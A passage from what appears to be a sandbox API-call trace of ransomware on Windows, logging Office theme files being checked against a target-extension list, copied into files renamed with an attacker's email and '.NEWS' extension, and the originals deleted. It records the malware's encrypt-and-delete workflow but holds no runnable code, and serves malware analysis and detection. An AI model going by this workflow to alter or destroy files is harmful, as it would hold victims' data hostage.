(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.126] lstrlenW (lpString=".dbf") returned 4 [0071.126] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.126] lstrlenW (lpString=".1cd") returned 4 [0071.126] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.126] lstrlenW (lpString=".jpg") returned 4 [0071.126] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.126] lstrlenW (lpString=".doc") returned 4 [0071.126] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString=".docx") returned 5 [0071.126] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.126] lstrlenW (lpString=".pdf") returned 4 [0071.126] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString=".xls") returned 4 [0071.126] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.126] lstrlenW (lpString=".xlsx") returned 5 [0071.127] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.127] lstrlenW (lpString=".ppt") returned 4 [0071.127] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.127] lstrlenW (lpString=".zip") returned 4 [0071.127] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.127] lstrlenW (lpString=".rar") returned 4 [0071.127] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.127] lstrlenW (lpString=".bz2") returned 4 [0071.127] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.127] lstrlenW (lpString=".7z") returned 3 [0071.127] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.127] lstrlenW (lpString=".dbf") returned 4 [0071.127] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.127] lstrlenW (lpString=".1cd") returned 4 [0071.127] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.127] lstrlenW (lpString=".jpg") returned 4 [0071.127] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.128] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.128] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.128] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1453) returned 1 [0071.128] CloseHandle (hObject=0x1ac) returned 1 [0071.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0071.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.129] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.129] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.132] GetLastError () returned 0x0 [0071.132] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x1a0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0071.137] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.137] SetEndOfFile (hFile=0x1a0) returned 1 [0071.137] CloseHandle (hObject=0x1a0) returned 1 [0071.137] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.137] SetEndOfFile (hFile=0x1ac) returned 1 [0071.138] CloseHandle (hObject=0x1ac) returned 1 [0071.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.139] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0071.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.139] lstrlenW (lpString=".doc") returned 4 [0071.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.139] lstrlenW (lpString=".docx") returned 5 [0071.139] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.139] lstrlenW (lpString=".pdf") returned 4 [0071.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.139] lstrlenW (lpString=".xls") returned 4 [0071.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.140] lstrlenW (lpString=".xlsx") returned 5 [0071.140] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.140] lstrlenW (lpString=".ppt") returned 4 [0071.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.140] lstrlenW (lpString=".zip") returned 4 [0071.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.140] lstrlenW (lpString=".rar") returned 4 [0071.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.140] lstrlenW (lpString=".bz2") returned 4 [0071.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.140] lstrlenW (lpString=".7z") returned 3 [0071.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.140] lstrlenW (lpString=".dbf") returned 4 [0071.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.140] lstrlenW (lpString=".1cd") returned 4 [0071.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.140] lstrlenW (lpString=".jpg") returned 4 [0071.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.141] lstrlenW (lpString=".doc") returned 4 [0071.141] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.141] lstrlenW (lpString=".docx") returned 5 [0071.141] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.141] lstrlenW (lpString=".pdf") returned 4 [0071.141] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString=".xls") returned 4 [0071.141] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString=".xlsx") returned 5 [0071.141] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.141] lstrlenW (lpString=".ppt") returned 4 [0071.141] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.141] lstrlenW (lpString=".zip") returned 4 [0071.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString=".rar") returned 4 [0071.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.141] lstrlenW (lpString=".bz2") returned 4 [0071.141] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.141] lstrlenW (lpString=".7z") returned 3 [0071.141] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.141] lstrlenW (lpString=".dbf") returned 4 [0071.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.142] lstrlenW (lpString=".1cd") returned 4 [0071.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0071.142] lstrlenW (lpString=".jpg") returned 4 [0071.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.142] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.142] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.143] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=25106) returned 1 [0071.143] CloseHandle (hObject=0x1ac) returned 1 [0071.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0071.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.144] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.144] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.144] GetLastError () returned 0x0 [0071.144] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x6212, lpOverlapped=0x0) returned 1 [0071.147] WriteFile (in: hFile=0x1a0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0071.149] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.149] WriteFile (in: hFile=0x1a0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.150] SetEndOfFile (hFile=0x1a0) returned 1 [0071.150] CloseHandle (hObject=0x1a0) returned 1 [0071.150] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.431] SetEndOfFile (hFile=0x1ac) returned 1 [0071.433] CloseHandle (hObject=0x1ac) returned 1 [0071.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.434] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0071.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.434] lstrlenW (lpString=".doc") returned 4 [0071.434] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.434] lstrlenW (lpString=".docx") returned 5 [0071.434] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.434] lstrlenW (lpString=".pdf") returned 4 [0071.435] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.435] lstrlenW (lpString=".xls") returned 4 [0071.435] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.435] lstrlenW (lpString=".xlsx") returned 5 [0071.435] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.435] lstrlenW (lpString=".ppt") returned 4 [0071.435] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.435] lstrlenW (lpString=".zip") returned 4 [0071.435] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.435] lstrlenW (lpString=".rar") returned 4 [0071.435] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.435] lstrlenW (lpString=".bz2") returned 4 [0071.435] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.435] lstrlenW (lpString=".7z") returned 3 [0071.435] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.435] lstrlenW (lpString=".dbf") returned 4 [0071.435] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.436] lstrlenW (lpString=".1cd") returned 4 [0071.436] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.436] lstrlenW (lpString=".jpg") returned 4 [0071.436] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.436] lstrlenW (lpString=".doc") returned 4 [0071.436] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.436] lstrlenW (lpString=".docx") returned 5 [0071.436] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.436] lstrlenW (lpString=".pdf") returned 4 [0071.436] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.436] lstrlenW (lpString=".xls") returned 4 [0071.436] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.436] lstrlenW (lpString=".xlsx") returned 5 [0071.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.436] lstrlenW (lpString=".ppt") returned 4 [0071.436] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.437] lstrlenW (lpString=".zip") returned 4 [0071.437] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.437] lstrlenW (lpString=".rar") returned 4 [0071.437] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.437] lstrlenW (lpString=".bz2") returned 4 [0071.437] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.437] lstrlenW (lpString=".7z") returned 3 [0071.437] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.437] lstrlenW (lpString=".dbf") returned 4 [0071.437] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.437] lstrlenW (lpString=".1cd") returned 4 [0071.437] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0071.437] lstrlenW (lpString=".jpg") returned 4 [0071.437] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.438] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.438] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.774] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=32433) returned 1 [0071.774] CloseHandle (hObject=0x208) returned 1 [0071.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0071.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.775] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.775] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.775] GetLastError () returned 0x0 [0071.775] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0071.778] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0071.781] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.781] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.781] SetEndOfFile (hFile=0x1ec) returned 1 [0071.781] CloseHandle (hObject=0x1ec) returned 1 [0071.782] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.782] SetEndOfFile (hFile=0x208) returned 1 [0071.783] CloseHandle (hObject=0x208) returned 1 [0071.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.784] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0071.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.785] lstrlenW (lpString=".doc") returned 4 [0071.785] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.785] lstrlenW (lpString=".docx") returned 5 [0071.785] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.785] lstrlenW (lpString=".pdf") returned 4 [0071.785] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.785] lstrlenW (lpString=".xls") returned 4 [0071.785] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.785] lstrlenW (lpString=".xlsx") returned 5 [0071.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.785] lstrlenW (lpString=".ppt") returned 4 [0071.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.785] lstrlenW (lpString=".zip") returned 4 [0071.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.785] lstrlenW (lpString=".rar") returned 4 [0071.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.785] lstrlenW 